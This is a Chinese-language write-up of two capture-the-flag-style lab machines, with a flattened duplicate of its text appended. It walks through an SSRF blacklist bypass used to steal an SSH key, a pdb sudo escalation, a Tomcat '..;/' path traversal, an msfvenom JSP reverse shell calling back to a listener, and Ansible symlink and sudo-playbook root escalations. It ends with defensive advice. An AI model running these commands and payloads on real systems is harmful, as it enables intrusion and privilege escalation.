迷糊的提权方式以及利用ssrf到最终提权靶机
字数 1940 2025-08-29 08:31:35

SSRF漏洞利用与提权技术详解

1. 初始信息收集与SSRF漏洞发现

1.1 目标识别与端口扫描

  • 使用Nmap进行初始扫描:nmap -v -sSV -Pn 10.10.11.111 -T4 -sC
  • 发现仅开放80端口,但直接访问失败
  • 通过添加host头解决访问问题:echo "10.10.11.111 forge.xxx" >> /etc/hosts

1.2 子域名枚举

  • 使用wfuzz工具枚举子域名:
    wfuzz -c -u "http://forge.xxx/" -H "Host:FUZZ.forge.xxx" -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt
    
  • 发现admin.forge.xxx子域名,添加到hosts文件

1.3 SSRF漏洞发现

  • 发现上传功能存在黑名单限制
  • 通过大小写绕过:http://aDmin.forGe.xxx/
  • 分析返回包发现敏感路径/announcements
  • 继续利用SSRF访问该路径获取更多信息

2. SSRF深度利用

2.1 获取FTP凭据

  • 通过SSRF读取/announcements获取:
    • FTP用户名:user
    • 密码:heightofsecurity123!
  • 发现/upload API端点,参数u存在SSRF漏洞

2.2 组合利用SSRF与FTP

  • 构造SSRF请求读取FTP内容:
    http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx
    
  • 成功读取用户家目录文件

2.3 获取SSH私钥

  • 通过SSRF读取SSH私钥:
    http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx/.ssh/id_rsa
    
  • 保存私钥后连接SSH:
    ssh -i id_rsa user@10.10.11.111
    

3. 提权技术

3.1 初始权限检查

  • 检查sudo权限:sudo -l
  • 发现可无密码执行特定Python文件

3.2 利用Python调试器提权

  • 执行可疑Python文件,发现会调用pdb调试器
  • 在pdb调试模式下执行Python代码:
    import os; os.system('chmod +s /bin/bash')
    
  • 通过设置SUID位提权:/bin/bash -p

4. 第二靶机:GitBucket与Tomcat漏洞利用

4.1 初始扫描

  • 扫描发现开放22、443、8080端口
  • 8080端口运行GitBucket代码仓库

4.2 获取Tomcat凭据

  • 在GitBucket的commit历史中发现:
    • 用户名:tomcat
    • 密码:42MrHBf*z8{Z%

4.3 Tomcat路径遍历漏洞

  • 利用反代路径遍历漏洞访问管理界面:
    https://seal.xxx/manager/status/..;/html
    
  • 参考漏洞:Tomcat Path Traversal via Reverse Proxy Mapping

4.4 上传Web Shell

  • 生成war格式的反向shell:
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.46 LPORT=6666 -f war -o shell.war
    
  • 通过Burp Suite修改上传路径后上传

4.5 获取初始shell

  • 设置监听:nc -lvvp 6666
  • 访问上传的shell获取反向连接

5. Ansible Playbook提权技术

5.1 发现可疑进程

  • 检查root进程:ps aux | grep root
  • 发现Ansible Playbook定期执行备份

5.2 分析Playbook文件

  • 检查/opt/backups/playbook/run.yml
  • 关键配置:copy_links=yes允许符号链接

5.3 创建符号链接

  • 创建指向SSH私钥的符号链接:
    ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa
    
  • 等待Playbook执行后,私钥会被备份到/opt/backups/archives

5.4 获取SSH访问

  • 解压备份文件获取私钥
  • 设置适当权限:chmod 600 id_rsa
  • SSH连接目标主机

5.5 最终提权方法

方法一:直接执行Playbook

TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF

方法二:创建自定义Playbook

创建root.yml文件:

name: Ansible Copy Example Local to Remote
hosts: localhost
tasks:
  - name: copying file with playbook
    become: true
    copy:
      src: /root/root.txt
      dest: /dev/shm
      owner: luis
      group: luis
      mode: 0777

执行:sudo /usr/bin/ansible-playbook root.yml

6. 关键知识点总结

  1. SSRF漏洞利用

    • 通过大小写绕过黑名单
    • 结合FTP协议读取系统文件
    • 获取SSH私钥实现权限提升
  2. Web应用漏洞

    • GitBucket中敏感信息泄露
    • Tomcat反代路径遍历漏洞(..;/绕过)
    • Web Shell上传技术
  3. 提权技术

    • 利用Python调试器(pdb)执行系统命令
    • Ansible Playbook符号链接漏洞
    • 通过sudo权限执行任意Playbook
  4. 信息收集技巧

    • 子域名枚举
    • 源代码审计
    • 进程与定时任务分析
  5. 权限维持

    • SSH私钥利用
    • 文件权限控制
    • 备份文件分析

7. 防御建议

  1. 防止SSRF

    • 实施严格的输入验证
    • 禁用不需要的URL协议
    • 使用白名单而非黑名单
  2. Web应用安全

    • 定期审计代码中的敏感信息
    • 及时更新中间件
    • 限制管理界面访问
  3. 权限控制

    • 最小权限原则
    • 定期审计sudo权限
    • 监控异常进程
  4. Ansible安全

    • 限制Playbook执行权限
    • 禁用不必要的模块功能
    • 审计Playbook内容

通过本案例可以全面了解从SSRF漏洞发现到最终系统提权的完整攻击链,以及如何利用各种中间件和自动化工具配置不当进行权限提升。

SSRF漏洞利用与提权技术详解 1. 初始信息收集与SSRF漏洞发现 1.1 目标识别与端口扫描 使用Nmap进行初始扫描: nmap -v -sSV -Pn 10.10.11.111 -T4 -sC 发现仅开放80端口,但直接访问失败 通过添加host头解决访问问题: echo "10.10.11.111 forge.xxx" >> /etc/hosts 1.2 子域名枚举 使用wfuzz工具枚举子域名: 发现 admin.forge.xxx 子域名,添加到hosts文件 1.3 SSRF漏洞发现 发现上传功能存在黑名单限制 通过大小写绕过: http://aDmin.forGe.xxx/ 分析返回包发现敏感路径 /announcements 继续利用SSRF访问该路径获取更多信息 2. SSRF深度利用 2.1 获取FTP凭据 通过SSRF读取 /announcements 获取: FTP用户名: user 密码: heightofsecurity123! 发现 /upload API端点,参数 u 存在SSRF漏洞 2.2 组合利用SSRF与FTP 构造SSRF请求读取FTP内容: 成功读取用户家目录文件 2.3 获取SSH私钥 通过SSRF读取SSH私钥: 保存私钥后连接SSH: 3. 提权技术 3.1 初始权限检查 检查sudo权限: sudo -l 发现可无密码执行特定Python文件 3.2 利用Python调试器提权 执行可疑Python文件,发现会调用pdb调试器 在pdb调试模式下执行Python代码: 通过设置SUID位提权: /bin/bash -p 4. 第二靶机:GitBucket与Tomcat漏洞利用 4.1 初始扫描 扫描发现开放22、443、8080端口 8080端口运行GitBucket代码仓库 4.2 获取Tomcat凭据 在GitBucket的commit历史中发现: 用户名: tomcat 密码: 42MrHBf*z8{Z% 4.3 Tomcat路径遍历漏洞 利用反代路径遍历漏洞访问管理界面: 参考漏洞:Tomcat Path Traversal via Reverse Proxy Mapping 4.4 上传Web Shell 生成war格式的反向shell: 通过Burp Suite修改上传路径后上传 4.5 获取初始shell 设置监听: nc -lvvp 6666 访问上传的shell获取反向连接 5. Ansible Playbook提权技术 5.1 发现可疑进程 检查root进程: ps aux | grep root 发现Ansible Playbook定期执行备份 5.2 分析Playbook文件 检查 /opt/backups/playbook/run.yml 关键配置: copy_links=yes 允许符号链接 5.3 创建符号链接 创建指向SSH私钥的符号链接: 等待Playbook执行后,私钥会被备份到 /opt/backups/archives 5.4 获取SSH访问 解压备份文件获取私钥 设置适当权限: chmod 600 id_rsa SSH连接目标主机 5.5 最终提权方法 方法一:直接执行Playbook 方法二:创建自定义Playbook 创建 root.yml 文件: 执行: sudo /usr/bin/ansible-playbook root.yml 6. 关键知识点总结 SSRF漏洞利用 : 通过大小写绕过黑名单 结合FTP协议读取系统文件 获取SSH私钥实现权限提升 Web应用漏洞 : GitBucket中敏感信息泄露 Tomcat反代路径遍历漏洞(..;/绕过) Web Shell上传技术 提权技术 : 利用Python调试器(pdb)执行系统命令 Ansible Playbook符号链接漏洞 通过sudo权限执行任意Playbook 信息收集技巧 : 子域名枚举 源代码审计 进程与定时任务分析 权限维持 : SSH私钥利用 文件权限控制 备份文件分析 7. 防御建议 防止SSRF : 实施严格的输入验证 禁用不需要的URL协议 使用白名单而非黑名单 Web应用安全 : 定期审计代码中的敏感信息 及时更新中间件 限制管理界面访问 权限控制 : 最小权限原则 定期审计sudo权限 监控异常进程 Ansible安全 : 限制Playbook执行权限 禁用不必要的模块功能 审计Playbook内容 通过本案例可以全面了解从SSRF漏洞发现到最终系统提权的完整攻击链,以及如何利用各种中间件和自动化工具配置不当进行权限提升。